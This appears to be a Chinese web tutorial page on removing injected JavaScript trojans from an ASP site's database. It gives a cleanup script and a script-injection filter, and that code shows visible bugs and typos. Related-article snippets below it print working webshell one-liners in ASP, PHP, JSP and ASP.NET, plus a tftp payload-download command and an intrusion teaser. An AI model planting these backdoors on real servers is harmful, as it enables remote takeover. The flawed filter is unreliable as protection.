ASP网站中数据库被挂木马的解决方案

本文我们详细介绍了ASP数据库被挂木马的详细解决方案之编程处理的方法,解决方案分为以下三步:

第一步:

为现有数据库做好备份。

第二步:

执行如下ASP文件,这样就可以去掉数据库当中的JS木马:

注:conn.asp自己去写了。

'这里放入JS木马内容:请记得改为自己数据库中的JS木马内容。

<!--#include file="conn.asp"--> 

<% 

Server.ScriptTimeOut=180 Set rstSchema = conn.OpenSchema(20) 

k=1 

Do Until rstSchema.EOF '遍历数据库表 

If rstSchema("TABLE_TYPE")="TABLE" Then 

response.write K&".<font color=red><b>"&rstSchema("TABLE_NAME") & "</b></font>:" '显示表名Set rs=Server.CreateObject("ADODB.Recordset") 

sql="select * from [" & rstSchema("TABLE_NAME")&"]" 

rs.open sql,conn,1,3 For i=0 to rs.fields.count-1 '遍历表中字段If int(rs(i).Type)=129  

or int(rs(i).Type)=130 or int(rs(i).Type)=200 or int(rs(i).Type)=201 or int(rs(i).Type)=202 or int(rs(i).Type)=203 Then'只处理字段类型为字符型的字段 

conn.execute("update ["&rstSchema("TABLE_NAME")&"] set "&rs(i).name&" =replace(cast("&rs(i).name&" 

 as varchar(8000)),'这里放入JS木马内容','')") response.write rs(i).name &" "&rs(i).Type &" "'显示执行过的字段名。 

End If 

Next 

response.write "<br>" 

End If 

rstSchema.MoveNext 

kk=k+1 

Loop 

response.Write "执行成功" 

%> 

如果数据库表很多的话,上面的遍历数据库结构未执行完就被IIS给停止了。在这时候可以在:

If rstSchema("TABLE_TYPE")="TABLE" Then

当中适当加入k值的范围,如:

If rstSchema("TABLE_TYPE")="TABLE" k>10 and k<20 Then

这样的话就一次只操作9个表。

第三步:

根据数据库JS注入的特性(会包括<script、</script>和http://这样的字符),在conn.asp里面放入如下代码:

Function Cheack_Sqljs()'防止数据库外链JS注入:true为发现外链JS注入。 

Dim F_Post,F_Get 

Cheack_Sqljs=False 

If Request.Form<>"" Then'表单提交时的检测For Each F_Post In Request.Form If (Instr(LCase(Request.Form(F_Post)), 

"<script")<>0 or Instr(LCase(Request.Form(F_Post)),"</script>")<>0)  

and Instr(LCase(Request.Form(F_Post)),"http://")<>0 Then 

Cheack_Sqljs=True 

Exit For 

End If 

Next 

End If 

If Request.QueryString<>"" Then'QueryString提交时的检测For Each F_Get In Request.QueryString  

If (Instr(LCase(Request.Form(F_Get)),"<script")<>0 orInstr(LCase(Request.Form(F_Get)),"</script>")<>0)  

and Instr(LCase(Request.Form(F_Get)),"http://")<>0 Then 

Cheack_Sqljs=True 

Exit For 

End If 

Next 

End If 

End Function 

Function CheckDataFrom()'检查提交数据来源:True为数据从站外提交过来的 

CheckDataFrom=True 

server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")) server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))  

if mid(server_v1,8,len(server_v2))<>server_v2 then 

CheckDataFrom=False 

end if 

End Function 

If Cheack_Sqljs or CheckDataFrom Then 

Response.Write "<Script Language=JavaScript>alert('禁止执行,非法操作。');</Script>" Response.End() 

End If 

关于ASP数据库被挂木马时的编程处理方法就介绍到这里了,希望本次的介绍能够带给您一些收获,谢谢!

(0)

相关推荐

  • JSP一句话木马代码

    复制代码 代码如下: <%  if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());  %> 这个 后门估计不用我说了吧.还是提示一下咯.保

  • asp,php一句话木马整理方便查找木马

    特把经常用到的网页后门的木马整理下,如果不全请大家补全他,大家在网站混口饭吃,都不容易何必呢 asp一句话木马 文件常见内容 <%If Request("#")<>"" Then Execute(Request("#"))%> execute(request("#")); eval(request("#")); php一句话木马 <?@include($_POST["

  • asp控制xml数据库的经典代码

    NO.1--建立一个XML数据库data.xml <?xml version="1.0"?> <records> <record> <name>caca</name> <qq>154222225</qq> <email>root@3ney.com</email> </record> <records> NO.2--建立对象CreateObject 建立da

  • 浅谈ASP数据库下载漏洞

    作为脚本漏洞的头号杀手锏--数据库下载漏洞,现在已经被越来越多的人所熟知.在这个信息化技术更新飞快的时代,漏洞产生后随之而来的就是各种应对 的招数,比如改数据库的后缀.修改数据库的名字等等.很多人以为只要这么做就可以解决问题了,但事实往往不如你我所愿,即使你这么做了也难逃被高手攻击的 命运.为此我们有必要去了解一些攻击的手法,来增强自己的安全技能. 1.强制下载后缀名为ASP.ASA的数据库文件 大多数的网管为了节省时间,网站上的文章系统.论坛等程序都是直接下载别人的源程序再经过部分修改后使用的

  • ASP.NET列出数据库活跃链接的方法

    本文实例讲述了ASP.NET列出数据库活跃链接的方法.分享给大家供大家参考.具体分析如下: 这里列出数据库的活跃链接.主要使用geeric列表和一个贮存器,创建一个泛型列表的链接,如果他们是活跃的,那么他们将显示在导航了. //First in C# where you create the controller action method //to create the method that will populate all content details //add the follow

  • asp实现读取数据库输出json代码

    复制代码 代码如下: Function GetTable(Table,Where,Order,OrderSort,curpage, pagesize,MiniJson) 'Author : nigou '使用方法 : Response.Write GetTable(Table表名,Where条件,Order主键(必须),OrderSort(asc,desc),curpage当前页, pagesize每页条数,MiniJson是否输出为miniUI格式) '     dim i, j ,rs   

  • ASP语言实现对SQL SERVER数据库的操作

    目前管理信息系统已从传统的客户机/服务器(C/S)模式转向了浏览器/服务器(B/S)模式,特别是微软公司推出它的新产品ASP语言之后,这种转变更加迅猛.管理信息系统的核心是对数据库进行包括添加.修改和查询等等操作,ASP提供的ADO数据库接口控件,使得程序员再也勿需编写复杂的CGI程序了,而只要用几句简单的语句即可实现以上操作.1.系统环境 PII 350,Ram 64M,WINNT Server 4.0, Service Pack4, IIS 4.0, SQL Server7.0. 2.系统功

  • MySQL结合使用数据库分析工具SchemaSpy的方法

    近来,我和一帮老客户一起工作,他们让花时间给他们说一下在他们新环境中使用的新工具.其中,我发现的一个非常有用的工具是SchemaSpy. SchemaSpy是Java开发的的工具(要求java 5或更高版本的支持),主要用来分析数据库中数据模型的元数据,并且能生成基于浏览器可视化的显示.通过点击就可了解数据表的层次结构,父子表关系等,主要通过HTML 链接或者实体关系图来表达.它也被设计成用来帮助解决由于约束而导致的数据库关联失败的迟钝错误. 我所喜欢ERD工具所能做的一件事是能快速的生成一个图

  • 一句话木马的原理及利用分析(asp,aspx,php,jsp)

    一句话木马的适用环境: 1.服务器的来宾账户有写入权限 2.已知数据库地址且数据库格式为asa或asp 3.在数据库格式不为asp或asa的情况下,如果能将一句话插入到asp文件中也可 一句话木马的工作原理: "一句话木马"服务端(本地的html提交文件) 就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为 <%execute request("

  • asp.net jscript 一句话木马

    min.aspx 复制代码 代码如下: <%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%> 复制代码 代码如下: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/x

  • asp一句话木马原理分析

    通过HTTP协议来访问 一句话木马的使用范围(我只列举了2种): 1)只有数据库备份的情况 数据库备份成asp文件时候,不出现" 编译错误,缺少脚本关闭标志%>" 2)SA权限的时候,一般先写入一句话,图个方便..(当然,直接tftp上传鸽子运行,那更快) tftp -i ip get server.exe 一句话木马<%execute request("a")%>的原理: 首先知道 execute()函数,是用来执行asp代码的.就是负责执行我们

  • asp.net上传文件到数据库的解决方案

    现在,我们来看存放文件的数据库表结构,这里,我们给出建立表的标准SQL语句: CREATE TABLE tblBooksUpload ( DocID int NOT NULL IDENTITY Primary Key , DocTitle varchar (200) , Doc image, DocType varchar (50) , Entrydate datetime Default GetDate() ) 以上的语句中,我们看到数据表tblBooksUpload包含五个字段: ·字段Do

  • 一句话木马入侵EASYNEWS新闻管理系统

    实例一:"一句话木马"入侵"EASYNEWS新闻管理系统"      "EASYNEWS新闻管理系统 v1.01 正式版"是在企业网站中非常常见的一套整站模版,在该网站系统的留言本组件中就存在着数据过滤不严漏洞,如果网站是默认路径和默认文件名安装的话,入侵者可以利用该漏洞直接上传ASP木马程序控制整个网站服务器. Step1 搜索入侵目标 使用了"EASYNEWS新闻管理系统 v1.01 正式版"的网站,在网站页面的底部版权声

  • ASP通过ODBC连接SQL Server 2008数据库的方法

    创建数据库连接文件[dsn文件]的方法 创建 ODBC DSN 文件 在创建数据库脚本之前,必须提供一条使 ADO 定位.标识和与数据库通讯的途径.数据库驱动程序使用 Data Source Name (DSN) 定位和标识特定的 ODBC 兼容数据库,将信息从 Web 应用程序传递给数据库.典型情况下,DSN 包含数据库配置.用户安全性和定位信息,且可以获取 Windows NT 注册表项中或文本文件的表格. 通过 ODBC,您可以选择希望创建的 DSN 的类型:用户.系统或文件.用户和系统

随机推荐